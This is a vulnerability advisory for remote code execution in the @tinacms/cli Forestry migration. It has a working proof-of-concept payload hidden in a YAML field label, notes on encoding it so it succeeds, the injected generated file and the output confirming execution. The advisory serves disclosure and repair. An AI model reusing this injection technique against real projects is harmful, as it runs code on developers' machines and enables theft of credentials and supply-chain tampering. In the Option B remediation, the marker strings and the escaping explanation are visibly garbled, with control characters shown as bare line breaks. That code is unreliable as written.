@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

PoC

End-to-end verified against tinacms and @tinacms/[email protected], built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

Step 1 — attacker prepares a malicious Forestry project

.forestry/settings.yml

---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

Note on payload encoding. The original disclosure draft used double quotes inside the payload (console.log("RCE")). JSON.stringify escapes those to \", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.

Step 2 — victim runs the standard onboarding flow

git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build

Step 3 — generated tina/templates.ts (verbatim, from a clean run)

import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}

Step 4 — observed result

$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z

The === RCE SUCCESSFUL === line is printed before the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation.

Impact

• Class: Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build).
• Attack vector: Any developer who runs tinacms init on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs tinacms dev or tinacms build.
• Privileges obtained: Full execution under the developer's user account. Practical consequences include:
  • Exfiltration of environment variables, .env files, SSH keys, ~/.aws/credentials, ~/.npmrc tokens, ~/.config/gh/hosts.yml.
  • Source-code modification (planting backdoors before the developer's next commit / publish).
  • Supply-chain abuse via the developer's npm publish and git push credentials.
  • Persistence via shell rc files or scheduled tasks.
• Authentication: None required from the attacker.
• User interaction: Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes".

Suggested Remediation

Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content.

Option A — sanitise user-controlled strings (the disclosure draft's proposal)

// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
  typeof str === 'string'
    ? str.replace(/__TINA_INTERNAL__:::/g, '')
    : str;

Apply to every user-controlled string that flows into a TinaField object — at minimum forestryField.label, forestryField.name, forestryField.template, forestryField.config.options[*], forestryField.config.source.section, and the equivalents on nested fields/template_types recursive paths.

Option B — change the marker to a sequence that cannot survive JSON.stringify of user data

// codeTransformer.ts
const MARKER_OPEN  = '
__TINA_INTERNAL__
';
const MARKER_CLOSE = '
/__TINA_INTERNAL__
';

export const addVariablesToCode = (s: string) => ({
  code: s.replace(
    new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
    '$1'
  ),
});

JSON.stringify escapes
to the six-character sequence
, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (makeFieldsWithInternalCode) keep emitting real
bytes, so the legitimate flow continues to work and no user content is silently mutated.

Defence-in-depth

Regardless of which option ships, the migration code should also:

• Reject forestryField.label / .name that contain newlines or NUL bytes (Forestry never produced them).
• Wrap the eventual prettier.format(...) call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way).

Credit

Reported by AnGrY-Althaf ([email protected]).

End-to-end PoC executed locally against [email protected] / @tinacms/[email protected] built from commit ae1ab5d0f of https://github.com/tinacms/tinacms.